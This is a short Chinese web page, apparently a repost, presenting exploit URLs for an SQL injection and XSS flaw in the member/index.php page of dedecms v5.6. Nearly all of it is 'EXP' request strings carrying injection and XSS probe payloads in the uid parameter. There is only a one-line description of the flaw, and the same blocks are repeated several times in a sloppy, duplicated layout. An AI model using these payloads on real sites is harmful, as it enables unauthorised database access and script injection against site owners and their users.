dedecms v5.6 GBK 注入漏洞利用(member/index.php)
网络安全 2021-07-03 09:36www.168986.cn网络安全知识
EXP:
htp://127.0.0.1/member/index.php?uid='%20||%20''%20||%20'%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7';
会员中心首页(../member/index.php)函数过滤不严格造成盲注,数据库错误模式,XSS
EXP:
htp://127.0.0.1/member/index.php?uid='%20||%20''%20||%20'%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7';
htp://127.0.0.1/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe'")/>
htp://127.0.0.1/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'">
htp://127.0.0.1/member/index.php?uid='%20||%20''%20||%20'%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7';
会员中心首页(../member/index.php)函数过滤不严格造成盲注,数据库错误模式,XSS
EXP:
htp://127.0.0.1/member/index.php?uid='%20||%20''%20||%20'%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7';
htp://127.0.0.1/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe'")/>
htp://127.0.0.1/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'">